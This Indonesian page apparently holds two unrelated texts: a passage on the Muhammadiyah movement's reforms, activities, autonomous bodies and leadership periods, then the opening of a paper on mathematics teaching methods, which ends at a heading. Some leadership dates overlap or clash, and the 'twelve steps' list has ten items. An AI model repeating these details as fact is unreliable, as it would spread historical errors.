Menghilangkan tradisi keagamaan yang tumbuh dari kepercayaan Islam sendiri. Seperti: selamatan untuk menghormati Syekh Abdul Kadir Jaelani, Syekh Saman dan lain-lain yang dikenal dengan manakiban; perayaan dimana banyak diisi dengan puji-pujian serta meminta syafaat (pertolongan) kepada tokoh yang sedang diperingatinya. Selain itu terdapat pula kebiasaan membaca barzanji yaitu suatu karya puisi serta syair-syair yang mengandung banyak pujian kepada Nabi Muhammad SAW yang disalahartikan.
Bacaan surat Yasin dan bermacam-macam dzikir yang khusus dibaca pada malam Jum’at, dan hari-hari tertentu adalah suatu bid’ah. Begitu pula ziarah hanya pada waktu-waktu tertentu dan pada kuburan tertentu; ibadah yang tidak ada dasarnya dalam agama, juga harus ditinggalkan;yang boleh ialah ziarah kubur dengan tujuan untuk mengingat adanya kematian pada setiap makhluk Allah.
Selain yang disebut diatas, sebagai usaha untuk menegakkan aqidah Islam yang murni serta mengamalkan ibadah yang sesuai dengan tuntunan Nabi Muhammad, masih banyak lagi usaha-usaha di bidang keagamaan, pendidikan, kemasyarakat dan politik yang telah dan sedang dilaksanakan Muhammadiyah
Sudah menjadi ciri dalam Muhammadiyah adanya semboyan “sedikit bicara banyak bekerja”, tidak saja sekedar semboyan di bibir saja, tetapi sungguh-sungguh dibuktikan dengan amaliyah. Oleh karena itu tidak mengherankan, bila Muhammadiyah yang hanya memiliki jumlah anggota yang tidak begitu banyak, tetapi cukup banyak dan luas amal usaha serta hasil-hasilnya. Hal ini dapat dibuktikan, sebagai berikut:
1. Bidang Keagamaan
Pada bidang inilah sesungguhnya pusat seluruh kegiatan muhammadiyah, dasar dan jiwa setiap amal usaha muhammadiyah. Dan apa yang dilaksanakan dalam bidang-bidang lainnya tidak lain dari dorongan keagamaan semata-mata.
o Terbentuknya Majlis Tarjih (1927), suatu lembaga yang menghimpun ulam-ulama dalam Muhammadiyah yang secara tetap mengadakan permusyawaratan dan memberi fatwa-fatwa dalam bidang agama serta memberi tuntunan mengenai hukum yang sangat bermanfaat bagi khalayak umum
o Terbentuknya Departemen Agama Republik Indonesia tidak terlepasdari kepeloporan pemimpin Muhammadiyah. Oleh karena itu pada tempatnya bila menteri Agama yang pertama dipercayakan di pundak tokoh muhammadiyah, dalam hal ini H. Moch. Rasyidi B. A.
2. Bidang Pendidikan
Salah satu sebab didirikannya Muhammadiyah ialah karena lembaga-lembaga pendidikan di Indonesia sudah tidak memenuhi lagi kebutuhan dan tuntutan zaman. Tidak saja isi dan metode pengajarannya yang tidak sesuai, bahkan sistem pendidikannya pun harus diadakan perombakan yang mendasar.
Maka dengan didirikannya sekolah yang tidak lagi memisah-misahkan antara pelajaran yang diangap agama dan pelajaran yang digolongkan ilmu umum, pada hakikatnya merupakan usaha yang sangat penting dan besar. Karena dengan sistem tersebut bangsa Indonesia dididik menjadi bangsa yang utuh kepribadiannya, tidak terpecah belah menjadi pribadi yang berilmu umum atau berilmu agama saja.
Karena tidak mungkin menghapus sama sekali sistem sekolah umum dan sistem pesantren, maka ditempuh usaha perpaduan antara keduanya,yaitu dengan:
o Mendirikan sekolah-sekolah umum dengan memasukkan ke dalamnya ilmu-ilmu keagamaan dan
o Mendirikan madrasah-madrasah yang juga diberi pendidikan pengajaran ilmu-ilmu pengetahuan umum.
Dengan usaha perpaduan tersebut, tidak ada lagi pembedaan dimana ilmu agama dan ilmu umum. Semuanya adalah perintah dan dalam naungan agama.
3. Bidang Kemasyarakatan
Muhammadiyah adalah suatu gerakan Islam yang mempunyai tugas dakwah Islam dan amar makruf nahi munkar dalam bidang kemasyarakatan. Sudah dengan sendirinya bayak usaha-usaha ditempatkan dalam bidang kemasyarakatan, seperti:
o Mendirikan rumah-rumah sakit modern, lengkap dengan segala peralatan, membangun balai-balai pengobatan, rumah bersalin, apotik dan sebagainya.
o Mendirikan panti-panti asuhan anak yatim baik putra maupun putri, untuk menyantuni mereka.
o Mensirikan perusahaan percetakan, penerbitan dan took buku, yang benyak mempublikasikan majalah-majalah, brosur dan buku-buku yang sngat membantu penyebarluasan faham-faham keagamaan, ilmu dan kebudayaan Islam.
o Pengusahaan dan bantuan hari tua: yaitu dana yang diberikan pada saat seseorang tidak lagi bisa bekerja karena usai telah atau cacat jasmani sehingga memerlukan pertolongan.
o Memberikan bimbingan dan penyuluhan keluargas mengenai hidup sepanjang tuntunan Illahi.
4. Bidang Politik Kenegaraan
Muhammadiyah bukan suatu organisasi politik dan tidak akan menjadi partai politik. Meskipun demikian, dengan keyakinannya bahwa agama islam adalah agama yang mengatur segenap kehidupan manusia di dunia ini maka dengan sendirinya segala hal yang berhubungan dengan dunia juga menjadi bidang garapannya, tak terkecuali soal-soal politik kenegaraan. Akan tetapi, jika Muhammadiyah ikut bergerak dalam urusan kenegaraan dan pemerintahan, tetap dalam batas-batasnya sebagai Gerakan Dakwah Islam Amr Makruf Nahi Munkar, dan sama sekali tidak bermaksud menjadi sebuah partai politik.
Tak dapat disebutkan satu persatu seluruh perjuangan Muhammadiyah yang dapat digolongkan ke dalam bidang politik kenegaraan, hanya beberapa diantaranya:
o Pengadilan Agama di zaman kolonial berada dalam kekuasaan penjajah tentu saja beragama Kristen. Agar urusan agama di Indonesia yang sebagian besar penduduknya beragama Islam, juga dipegang oleh orang muslim, Muhammadiyah berjuang ke arah cita-cita itu.
o Ikut mempelopori berdirinya Partai Islam Indonesia. Begitu pula pada tahun 1945 termasuk menjadi pendukung utama berdirinya Partai Masyumi dengan gedung Madrasah Mu’allimin Muhammadiyah Yogyakarta sebagai tempat kelahirannya.
o Ikut aktif dalam keanggotaan MIAI (Majelis A’la Indonesia) dan menyokong sepenuhnya tuntutan Gabungan Politik Indonesia (GAPI) agar Indonesia mempunyai parlemen di Zaman penjajahan. Begitu pula pada kegiatan Islam Internasional, seperti Konferensi Islam Asia Afrika, dan Muktamar Masjid se Dunia dan sebaginya Muhammadiyah aktif mengambil bagian di dalamnya.
Apa yang telah dikemukakan di atas merupakan sebagian dari Amal Usaha Muhammadiyah selama ini. Kini serta esok terus beramal tak ada henti-hentinya, sebgaimana firman Allah: “Dan katakanlah! Beramallah kamu semua, niscaya Allah, Rasul-Nya serta orang-orang mukminin akan menjadi saksi”. Firman Allah ini ditulis dengan indah dan menghiasi di atas pintu gedung Muhammadiyah, markas dari Pimpinan Pusat Muhammadiyah di Yogyakarta.


8. PERKEMBANGAN MUHAMMADIYAH
Tentang Perkembangan Muhammadiyah Sebelum, Sesudah dan Sampai Sekarang?
Dengan iman dan amal shalih Muhammadiyah terus maju dan berkembang kemana-mana. Tak sedikit halangan dan tantangan, semuanya dihadapi dengan sabar dan tawakal, yang lahirnya membuahkan hasil kebesaran dan keluasan gerakan Muhammadiyah. Sejak dari ujung barat sampai tapal batas paling timur, dari wilayah paling utara maupun selata indonesia, telah dimasuki Muhammadiyah. Hal tersebut membuktikan bahwa Muhammadiyah memang bisa diterima oleh masyarakat indonesia, disamping karena keuletan dan ketekunan mubaligh-mubalighnya dalam menyiarkan islam sesuai dengan faham yang diyakini Muhammadiyah. Secara garis besar perkembangan Muhammadiyah dapat dibedakan menjadi:
PERKEMBANGAN SECARA VERTIKAL; yaitu perkembangan dan perluasan gerakan Muhammadiyah ke seluruh penjuru tanah air, berupa berdirinya wilayah-wilayah di tiap-tiap propinsi, daerah-daerah di tiap-tiap kabupaten/kotamadya, cabang-cabang dan ranting-ranting serta jumlah anggota yang bertebaran di mana-mana.
PERKEMBANGAN SECARA HORIZONTAL; yaitu perkembangan dan perluasan amal usaha Muhammadiyah, yang meliputi berbagai bidang kehidupan. Hal ini dengan pertimbangan karena bertambah luas serta banyaknya hal-hal yang harus diusahakan oleh Muhammadiyah, sesuai dengan maksud dan tujuannya. Maka dibentuklah kesatuan-kesatuan kerja yang berkedudukan sebagai badan pembantu pimpinan persyarikatan. Kesatuan-kesatuan kerja tersebut berupa majelis-majelis dan badan-badan.
Di samping majlis dan lembaga, terdapat organisasi Otonom, yaitu organisasi yang bernaung di bawah organisasi induk, dengan masih tetap memiliki kewenangan untuk mengatur rumah tangganya sendiri. Dalam Persyarikatan Muhammadiyah organisasi otonom (ORTOP) ini ada beberapa buah, yaitu:
- ’Aisyiyah
- Nasyiatul ’Aisyiyah
- Pemuda Muhammadiyah
- Ikatan Remaja Muhammadiyah (IRM)
- Ikatan Mahasiswa Muhammadiyah (IMM)
- Tapak Suci Putra Muhammadiyah
- Gerakan Kepanduan Hizbul-Wathan.

Organisasi otonom yang terdiri dari N. A, Pemuda Muhammadiyah, IRM, IMM, Tapak Suci Putra Muhammadiyah dan Gerakan Kepanduan Hizbul-Wathan ini termasuk kelompok Angkatan Muda Muhammadiyah (AMM) di mana keenam organisasi otonom ini berkewajiban mengemban fungsi sebagai pelopor, pelangsung dan penyempurna amal usaha Muhammadiyah.


9. PERIODISASI KEPEMIMPINAN MUHAMMADIYAH
a. Periode KH. Ahmad Dahlan (1912-1923)
Pada saat ini merupakan masa-masa perintisan, pembentukan jiwa dan amal usaha serta organisasi, sehingga Muhammadiyah menduduki tempat terhormat, sebagai gerakan Islam di Indonesia yang berfaham modern.

b. Periode KH. Ibrahim (1923-1932)
Dalam masa ini Muhammadiyah semakin berkembang meluas sampai ke daerah-daerah luar Jawa. Selain itu terbentuk pula Majlis Tarjih yang menghimpun para ulama Muhammadiyah untuk mengadakan penelitian dan pengembangan hukum-hukum agama. Dan dalam periode ini pula angkatan muda memperoleh bentuk organisasi yang nyata, di mana pada tahun 1931 Nasyiatul ’Aisyiyah berdiri dan menyusul satu tahun kemudian Pemuda Muhammadiyah.

c. Periode KH. Hisyam (1932-1936)
Usaha-usaha dalam bidang pendidikan mendapatkan perhatian yang mantap, karena dengan pendidikan bisa lebih banyak diharapkan tumbuhnya kader-kader umat dan bangsa yang akan meneruskan amal usaha Muhammadiyah. Juga dalam periode ini diadakan penertiban dan pemantapan administrasi organisasi sehingga Muhammadiyah lebih kuat dan lincah gerakannya.

d. Periode KH. Mas Mansur (1936-1942)
Sering dikatakan bahwa tokoh KH. Mas Mansur adalah salah seorang pemimpin Muhammadiyah yang ikut membentuk dan megisi jiwa gerakan Muhammadiyah, sehingga lebih berisi dan mantap, seperti dengan pengokohan kembali hidup beragama serta penegasan faham agama dalam Muhammadiyah. Wujudnya berupa pengaktifan Majlis Tarjih, sehingga mampu merumuskan ”Masalah Lima”, yaitu perumusan mengenai: Dunia, Agama, Qiyas, Sabilillah dan Ibadah.
Selain itu untuk menggerakan kembali Muhammadiyah agar lebih dinamis dan berbobot, disusun pula ”langkah dua belas yaitu:
a. Memperdalam masuknya iman
b. Memperluas faham agama
c. Memperluas budi pekerti
d. Menuntun amal intiqad (mawas diri)
e. Menguatkan keadilan
f. Menegakkan persatuan
g. Melakukan kebijaksanaan
h. Menguatkan majelis tanwir
i. Mengadakan konperensi bagian
j. Mempermusyawarahkan gerakan luar .

e. Periode Ki Bagus Hadikusumo (1942-1953)
Dalam periodenya tersusun Muqaddimah Anggaran Dasar Muhammadiyah. Dalam Muqaddimah tersebut terumuskan secara singkat dan padat gagasan dan pokok-pokok pikiran KH. Ahmad Dahlan yang akhirnya melahirkan Muhammadiyah. Dengan tersusunnya Muqaddimah tersebut Muhammadiyah memiliki dasar berpijak yang kuat dalam melancarkan amal usaha dan perjuangannya.
Kondisi sosial politik pada masa jabatan Ki Bagus Hadikusumodalam suasana transisi dari penjajah Belanda, usaha-usaha pemerintah Koloni Belanda untuk menjajah Indonesia kembali dan revolusi kemerdekaan. Pada masa ini kehidupan Muhammadiyah cukup berat. Pada masa itu para pemimpin Muhammadiyah banyak terlibat dalam perjuangan, sementara di tingkat bawah hampir seluruh angkatan muda Muhammadiyah terjun dalam kancah revolusi dalam berbagai laskar kerakyatan. Meskipun demikian Muhammadiyah masih dapat melaksanakan berbagai kegiatan keorganisasian.

f. Periode A. R. Sutan Mansyur (1952-1959)

g. Periode H. M. Yunus Anis (1959-1968)

h. Periode KH. Ahmad Badawi (1962-1968)
Beliau dipilih dalam Muktamar ke 35 di Jakarta tahun 1962 dan Muktamar ke 36 di Bandung tahun 1965 sebagai formatur tunggal. Pada masa jabatan beliau ini Muhammadiyah mengalami ujian berat karena Muhammadiyah harus berjuang keras untuk mempertahankan eksistensinyaagar tidak dibubarkan. Sebagaimana diketahui pada masa itu kehidupan politik di Indonesia didominasi oleh PKI dan Bung Karno, Presiden RII banyak memberi angin pada PKI. Pada masa itu PKI dengan seluruh ormas mantelnya berusaha menekan partai-partai Islam khususnya Masyumi dan kebetulan Muhammadiyah termasuk salah satu pendukung Masyumi. Karena itu eksistensi Muhammadiyah juga ikut terancam. Namun demikian berkat usaha keras beliau bersama pemimpin Muhammadiyah, Allah masih melindungi Muhammadiyah.

i. Periode KH. Fakih Usman/H. A. R. Fakhrudin (1968-1971)
Tidak beberapa lama setelah Muktamar ke 37 di Yogyakarta mengukuhkan KH. Fakih Usman sebagai ketua pimpinan pusat Muhammadiyah, beliau dipanggil kembali ke hadirat Allah SWT. Kemudian H. Abdurrazak Fakhruddin, yang dalam susunan Pimpinan Pusat Muhammadiyah periode (1968-1971) duduk sebagai ketua I oleh sidang Tanwir ditetapkan sebagai pengganti beliau. Pada periode ini lebih menonjol usaha ”memuhammadiyahkan kembali Muhammadiyah”. Yaitu usaha untuk mengadakan pembaharuan pada diri dan dalam Muhammadiyah sendiri. Baik pembaharuan (tadjid) dalam bidang ideologinya, dengan merumuskan ”Matan Keyakinan dan Cita-cita Hidup Muhammadiyah”, maupun dalam bidang organisasi dan usaha perjuangannya dengan menyusun ”Khittah Perjuangan dan bidang-bidang lainnya”.

j. Periode KH. Abdur Razak Fakhruddin (1971-1990)
Pada periode ini usaha untuk meningkatkan kualitas Persyarikatan selalu diusahakan, baik kualitas organisasi maupun kualitas operasionalnya. Peningkatan kualitas organisasi meliputi tajdid di bidang keyakinan dan Cita-cita hidup serta Khittah dan tajdid organisasi. Sedang peningkatan kualitas operasionalnya meliputi intensifikasi pelaksanaan program jama’ah dan dakwah jamaah serta pemurnian amal usaha Muhammadiyah.
Pda masa jabatan beliau ada masa krisis yaitu keharusan untuk menjadikan Pancasila sebagai satu-satunya azas. Pada masa jabatan beliau juga terjadi peristiwa penting yaitu Kunjungan Paus Yohanes Paulus II dan sebagai reaksi terhadap kunjungan itu beliau mengeluarkan buku ’Mangayubagya Sugeng Rawuh lan Sugeng Kondur’, yang isinya bahwa Indonesia adalah negara yang penduduknya sudah beragama Islam jadi jangan menjadikan rakyat sebagai obyek Kristenisasi.

k. Periode KH. A. Azhar Basyir, MA (1990-1995)
Pada periode KH. A. Azhar Basyir MA telah dirumuskan:
A). Program Persyarikatan Muhammadiyah jangka panjang (25 tahun) yang meliputi:
1. Bidang Konsolidasi Gerakan
2. Bidang Pengkajian dan Pengembangan
3. Bidang Kemasyarakatan.
B). Program Muhammadiyah (1990-1995)
1. Bidang Konsolidasi Gerakan, meliputi:
- Konsolidasi Organisasi
- Kaderisasi dan Pembinaan AMM
- Bimbingan keagamaan
- Peningkatan hubungan dan kerjasama
2. Bidang Pengkajian dan Pengembangan, meliputi:
- Pengkajian dan Pengembangan Pemikiran Islam
- Penelitian dan Pengembangan
- Pusat informasi, Kepustakaan dan Penerbitan
3. Bidang Dakwah, Pendidikan dan Pembinaan Kesejahteraan Umat, meliputi:
a. Kenyakinan Islam
b. Pendidikan
c. Kesehatan
d. Sosial dan Pengembangan Masyarakat
e. Kebudayaan
f. Partisipasi kelompok.

l. Periode Prof. DR. H. M. Amien Rais/Prof. DR. H. A. Syafii Maarif (1995-2000)
Pada periode Prof. Dr. H. M. Amien Rais, telah dirumuskan program Muhammadiyah tahun 1995-2000, dengan mengacu kepada:
a. Masalah Global
b. Masalah Dunia Islam
c. Masalah nasional
d. Permasalahan Muhammadiyah
e. Pengembangan pemikiran, yang terdiri atas:
- Pemikiran keagamaan
- Ilmu dan Teknologi
- Pengembangan basis ekonomi
- Gerakan sosial kemasyarakatan
- PTM sebagai basis gerakan keilmuan/pemikiran.

10.TIGA IDENTITAS MUHAMMADIYAH
a. Muhammadiyah sebagai gerakan Islam Dari latar belakang berdirinya Muhammadiyah jelaslah bahwa sesungguhnya kelahiran Muhammadiyah itu tidak lain karena diilhami, dimotivasi dan disemangati oleh ajaran-ajaran Al Qur'an. Dan apa yang digerakkan oleh Muhammadiyah tidak ada motif lain kecuali semata-mata untuk merealisasikan prinsip-prinsip ajaran Islam dalam kehidupan yang riel dan kongkrit. b.Muhammadiyah sebagai gerakan dakwah IslamMuhammadiyah sebagai gerakan dakwah Islam, Amar Ma’ruf nahi mungkar. Ciri ini telah muncul sejak dari kelahirannya dan tetap melekat tak terpisahkan dalam jati diri Muhammadiyah. Namun sudah menjadi tanggung jawab Muhammadiyah juga sebagai gerakan dakwah Islam amar ma’ruf nahi mungkar untuk meluruskan kembali niatan awal berdirinya Muhammadiyah yang sesuai dengan cita-cita pemikiran Ahmad Dahlan, Muhammadiyah dapat mengangkat agama Islam dan keterbelakangan atau kebodohan massifTidak hanya ranah pemahaman agama yang diluruskan namun juga ranah pemahaman maksud dan tujuan organisasi Muhammadiyah, karena Muhammadiyah adalah pure sebuah organisasi kemasyarakatanc..Muhammadiyah sebagai Gerakan Tajdid (Reformasi)Ciri ketiga ini yang melekat pada persyarikatan Muhammadiyah adalah sebagai gerakan Tajdid atau pembaharu. Apabila dari makna dalam segi bahasa Tajdid berarti pembaharuan, dan dari segi istilah tajdid memiliki dua arti yakni : Pemurnian Peningkatan, pengembangan, modernisasi sudah menjadi tugas Muhammadiyah bila “pemurnian” tajdid dimaksudkan sebagai pemeliharaan matan ajaran Islam yang berdasarkan sumber Al Qur'an dan As Sunnah shahihSedangkan arti “Peningkatan, pengembangan, modernisasi” tajdid dimaksudkan sebagai penafsiran pengamalan dan perwujudan ajaran Islam dengan tetap berpegang teguh kepada Al Qur'an dan AS Sunnah shahih. Di samping itu ternyata bila diamati Muhammadiyah mempunyai PR untuk menjawab tantangan zaman dan arus globalisasi yang terus melaju.Ø Pemurnian (Purifikasi)Tugas/PR pertama Muhammadiyah adalah purifikasi kembali kepribadian Muhammadiyah yang mulai terinfeksi virus yang akan melencengkan kepribadian Muhammadiyah.Ø Peningkatan, pengembangan, modernisasiTak melenceng dari awal pemberdayan pemikiran sang pendiri Muhammadiyah maka sebagai tantangan zaman tugas/PR kedua Muhammadiyah adalah meningkatkan etos kerja segala bidang baik dalam dakwah maupun amal usaha Muhammadiyah. Dan mengembangkan serta melebarkan sayap Muhammadiyah dalam penerimaan arus informasi global sebagai tameng kebodohan massif Muhammadiyah. Modernisasi Muhammadiyah bukan berarti meninggalkan dasar pemikiran pertama kali berdirinya, tapi Muhammadiyah dapat up to date bukan berarti berganti baju untuk beridentitas ideologi baru namun Muhammadiyah tetap eksis dalam kepribadian Muhammadiyah sebagai organisasi sosial kemasyarakatan yang tak usang dimakan zaman atau kuno tertinggal arus modernisasi.




KESIMPULAN
Dengan melihat gejala yang ada, yang berkelut di tubuh muhammadiyah mau tidak mau harus segera di cari obat penawar agar muhammadiyah tetap dapat sehat seperti sedia kala, sementara di sisi ideologi muhammadiyah sudah semestinya penyimpang dari pondasi awal pemikiran pemberdayaan Ahmad Dahlan perlu adanya purifikasi kembali, agar nantinya tidak terjadi “matinya institusi organisasi dalam hal ini muhammadiyah (The Death of Muhammadiyah) bukan hal yang mustahil akan terjadi manakala muhammadiyah beserta warganya tidak lagi mampu menjawab tantangan zaman. Lebih-lebih, bila tidak punya sense of belonging (rasa kepemilikan) terhadap organisasi karena lemahnya ideologi dan minimnya informasi serta wawasan tentang ke-muhammadiyahan.
Dengan demikian warga muhammadiyah masih perlu mempelajari gagasan dan pemikiran KH.Ahmad Dahlan. Terutama yang berkaiatn dengan masalah sholat tepat waktu dan pengamalan ayat-ayat al-qur’an, hal itu tidak dimaksud untuk mengikuti jejaknya secara dokmatik tetapi untuk memberi makna kreatif dan inotvatif.










sumber buku : Drs H Mustafa Kaml Pasha , B. Ed, Ahmad Adaby Darban , SU Muhammadiyah sebagai Gerakan Islam (dalam Perspektif Historis dan Ideologis)


MODEL DAN METODE PEMBELAJARAN
BAB I
PENDAHULUAN


Sebagai seorang pengajar pasti mengharapkan agar para siswa memperoleh hasil belajar yang baik dan menjadi anak yang cerdas berkwalitas. Demikian juga sebagai pelajar pasti merindukan pengajar yang berbobot dan bermutu (cerdas dan berkwalitas).
Guru pada saat ini sering menjadi sorotan dari berbagai media massa,berkaitan dengan rendahnya mutu pendidikan,dan keberhasilan suatu sekolah. Ada sebagian masyarakat kita beranggapan keberhasilan suatu pendidikan sangat di tentukan oleh mutu guru itu sendiri.Sementara kita ketahui bersama keberhasilan atau kegagalan pendidikan banyak di pengaruhi oleh beberapa faktor, salah satunya adalah metode mengajar guru.
Guru sangat terlibat dengan proses mengajar-belajar.I stilah proses mengajar – belajar ( PMB) lebih tepat daripada proses belajar mengajar ( PBM),alasanya karena dalam proses yang harus aktip duluan adalah guru lalu di ikuti aktivitas siswa (belajar ) bukan sebaliknya. Barlow seorang pakar psikologi pendidikan (1985) dan Good & Brophy (1990) hubungan timbul balik antar guru dan siswa di sebut teaching – learning process dan bukan learning-teaching process.
Dr. Howard Gardner mengatakan bahwa kecerdasan bukan hanya mencakup kemampuan menghitung dan menggunakan bahasa Dalam proses belajar mengajar paling tidak memerlukan Pelajar (siswa) dan Pengajar (gurumelainkan mencakup beberapa dimensi lain. Kecerdasan yang “holistic” ini hanya bisa dicapai jika guru memberikan hidupnya bukan hanya memberikan ilmunya kepada siswa-siswanya, baik didalam maupun diluar kelas.
Setelah lahirnya Undang-Undang Guru dan Dosen melalui UU Nomor 14 Tahun 2005, secara legal formal guru dan dosen menjadi profesi yang sangat diharapkan dalam meningkatkan kualitas pendidikan di Indonesia. Kualitas pendidikan tentu bermuara pada kualifikasi sumber daya manusia, baik secara fisikal (kesehatan), psikologikal (mental), intelektual, afektif (sikap dan etik), termasuk spiritual (nilai-nilai religius).
Tugas-tugas profesional dari seorang guru yaitu meneruskan atau transmisi ilmu pengetahuan, keterampilan dan nilai-nilai lain yang sejenis yang belum diketahui anak dan seharusnya diketahui oleh anak. Untuk itu maka sangat perlu metode mengajar dalam proses belajar-mengajar




BAB II
PERMASALAHAN

1. Apakah metode mengajar itu?
2. Macam-macam metode mengajar dan Bagaimana perananya dalam pengajaran matematikaka?
• Metode Cermah
• Metode Ekspositori
• Metode Demonstrasi
3. Strategi Pembelajaran Pendekatan Masalah

* Model Pembelajaran Terpadu
* Metode Pembelajaran Pemecahan Masalah ( Problem Based Learning)
* Metode Pembelajaran Kontekstual atau Contextual Teaching and Learning (CTL)






BAB III
PEMBAHASAN MAKALAH



METODE MENGAJAR

A. Pengertian Metode Mangajar

Metode mengajar adalah cara mengajar atau cara menyampaikan materi pelajaran kepada siswa untuk setiap pelajaran atau bidang studi. Metode mengajar itu bisa diterapkan untuk setiap pelajaran. Karena itu guru akan dapat memahaminya tanpa suatu keahlian khusus. Misalnya, menyampaikan materi pelajaran melalui ceramah, ekspositori, dan demonstrasi itu adalah cara-cara penyampaian materi yang berlaku secara umum. Untuk menguasainya tidak diperlukan keahlian khusus.Karena itu, ceramah dan sebagainya itu disebut metode mengajar.


Tekhnik mengajarialah cara mengajar yang memerlukan keahlian khusus dan atau bakat.untuk mampu menerapkan teknik SAS seseorang harus menguasai bahasa atau berbakat dalam bahasa. Untuk sampai kepada penemuan dalil Pytagoras tentang segitiga siku-siku, seorang guru harus memiliki pengetahuan atau bakat dalam matematika sehingga teknik penemuan yang ia pergunakan itu dapat terlaksana dengan baik. Seorang guru yang melakukan tehnik inkuiri dalam pemahaman sifat air harus mempunyai bakat atau menguasai IPA. Dari uraian itu nampak bahwa nama suatu metode mengajar itu dapat menjadi nama suatu tehnik mangajar bila diterapkan daalm mata pelajaran yang memerlukan keahlian khusus atau bakat.

Apakah menerangkan perkalian dengan cara - cara : penjumlahan berulang, jajaran, garis bilangan, gabungan himpunan ekivalen yang lepas, batang Cuisinaire, dan pasangan bilangan itu disebut tehnik – tehnik mengajar? Ya, betul. Sebab kita akan mampu melaksanakannya bila kita menguasai matematika (tentang itu).
Pemilihan metode mengajar tiu tentunya tergantung dari strategi belajar – mengajar yang dipilih. Misalnya, bila strategi belajar mengajar yang telah dipilih itu pembawa materinya guru dan sempit, yang mengajarkannya guru itu sendiri, pendekatannya deduktif, dan penerima pelajarannya kelompok besar, maka metode yang akan lebih cocok nampaknya metode ceramah atau ekspositori. Selain tergantung dari strategi belajar – mengajar, pemilihan metode mengajar itu tergantung juga dari bakal efektif dan efisiensinya pengajaran itu.

Metode efektif ialah metode mengajar yang menurut penelitian adalah efektif untuk pengajara topic tertentu. Metode efektif ini merupaakn syarat bagi terjadinya pengajaran efektif. Selain metode efektif, terdapat persyaratan lain sehingga pengajaran itu menjadi efektif, misalnya berorientasi kepada tujuan dan tidak membuang – buang waktu.
Jadi, metode mengajar yang diterapkan dalam suatu pengajaran itu dikatakan efektif bila menghasilkan sesuatu sesuai dengan yang diharapkan. Dengan kata lain, tujuannya tercapai. Makin tinggi kekuatannya untuk dapat menghasilkan sesuatu, makin efektif metode itu. Sedangkan suatu metode mengajar itu dikatakan efisien bila penerapannya dalam menghasilkan sesuatu yang diharapkan itu relatif menggunakan tenaga, usaha, pengeluaran biaya, dan waktu minimum.Makin kecil usaha, tenaga, biaya, dan waktu dikeluarkan, makin efisien metode itu.


Banyak di antara kita mengetahui macam - macam metode mengajar dan arti dari setiap metode itu. Tetapi untuk menerapkannya dalam bidang studi biasanya tidak mudah. Bila adapun kadang – kadang penerapannya itu seperti dipaksa – paksakan.

Bila kita menerapkan suatu metode mengajar dalam bidang studi matematika perlu kita perhatikan agar siswa selain belajar dengan aktif, bergembira, dan mengerti, juga pelajaran itu harus efektif dan efisien. Kurikulum 1975 mensyaratkan agar pengajaran di sekolah itu efektif dan efisien, tidak membuang - buang waktu yang tidak diperlukan, karena waktu yang mereka pergunakan selama di sekolah itu hanya seperempat hari, yaitu 6 jam dari 24 jam. Ini harus kita pandang sebagai peringatan kepada kita yang sering menggunakan metode penemuan, permainan, laboratorium, dan semacamnya. Ini tidak berarti kita harus meninggalkan metode - metode itu dan kembali ke metode ceramah dan ekspositori, tetapi bila kita menggunakan metode yang memakan waktu banyak itu kita harus lebih hati – hati. Sebab kurikulum 1975 sendiri selain menggunakan metode ceramah sebenarnya, sesuai dengan bidang studinya masing – masing, mengganjurkan penggunaan metode / pendekatan lain seperti demonstrasi, pemberian tugas, tanya jawab, karyawisata, laboratorium, eksperimen, inkuiri, induktif, deduktif, dan pemecaahn masalah.

Tujuan daripada adanya P3G antara lain adalah untuk menjajagi diterapkannya konsep cara belajar siswa aktif (CBSA) atau “student active learning”. P3G bertugas untuk mencari metode dan tehnik mengajar yang menyebabkan siswa belajar aktif.
Apa sebabnya siswa harus aktif ? Apakah sebelum adanya P3G ini siswa belajar tidak aktif ?
Kita perlu belajar aktif sebab belajar dengan aktif dapat menyebabkan ingatan kita mengenai apa yang kita pelajari itu lebih tahan lama, dan pengetahuan kita menjadi lebih luas dibandingak dengan belajar secara pasif. Belajar aktif daapt menumbuhkan sifat kreatif, dan anak kreatif hidupnya dikemudian hari akan lebih berhasil. Maksudnya ialah lebih dapat menguasai persoalan di masyarakat. Sedangkan menurut pengamatan orang - orang yang kemudian menjadi anggota P3G pada tahun 1977 di beberapa IKIP, SL, dan SPG di beberapa kota besar seperti Jakarta, Bandung, Surabaya, Semarang, Medan, dan Padang ditemukan bahwa kebanyakan siswa ( di luar yang belajar dengan modul ) belajar pasif. Maksudnya ialah bahwa kebanyakan pengajaran itu selain dimulai oleh guru, guru yang aktif, guru ayng mendominasi pembicaraan, murid berbuat atas perintah atau inisiatif guru, komunikasi hanya dari satu atau dua arah, kurang sekali diskusi antara siswa dengan siswa.Jarang ada kegiatan dimana murid mencari sendiri, menemukan sendiri, merumuskan sendiri atau menyimpulkan sendiri.

Seperti sudah disebutkan, didalam kurikulum 1975 sendiri, di luar ceramah, sebenarnya tercantum pendekatan dan metode yang dapat menjadikan siswa aktif di ruangan kelas belajar, misalnya metode tanya- jawab, diskusi, eksperimen / laboratorium, dan sebagainya. Sayangnya tidak sempat terungkapkan mengapa kebanyakan yang dipergunakan hanya metode ceramah atau ekspositori. Mungkin karena terikat dalam penyajian materi dalam buku wajib / teks, mungkin karena materi yang harus diberikan terlalu banyak, mungkin karena belum menghayati apa yang dianjurkan daalm kurikulum 1975, atau mungkin karena kekurangmampuan guru.

Khusus menggunakan pengajaran matematika, dalam kurikulum 1975 SMP dan SMA tidak dikatakan secara terinci dan terpisah macam – macam metode mengajarnya itu, tetapi pada bagian metode mengajarnya guru diminta untuk tidak mendominasi kelas, dan pengajarannya supaya berpusatkan kepada anak. Siswa supaay belajar dengan aktif, gembira dan senang belajar matematika. Untuk SD – nya, metode mengajarnya itu terpaut di dalam buku Pedoman Umum dan Khususnya.


Dengan demikian konsep “student active learning” dalam pengajaran matematika (modern) paling lambat sejak tahun 1975 oleh pemerintah sudah dinasehatkan untuk diterapkan. Sedangkan tulisan lain yang mengganggap pentingnya guru tidak mendominasi kelas, pengajaran supaya berpusatkan kepada anak, siswa supaya belajar matematika senang dan gembira, siswa supaya belajar aktif, siswa supaya menemukan sendiri, antara lain tercantum dalam buku “ Dasar – dasar Matematika Modern untuk Guru” oleh E. T. Ruseffendi, IKIP Bandung 1973.


Yang akan dibicaraakn pada bagian berikut ini ialah macam – macam metode mengajar dan penerapannya daalm pengajaran matematika dan criteria pemilihan metode mengajar.


B. Macam-Macam Metode Mengajar

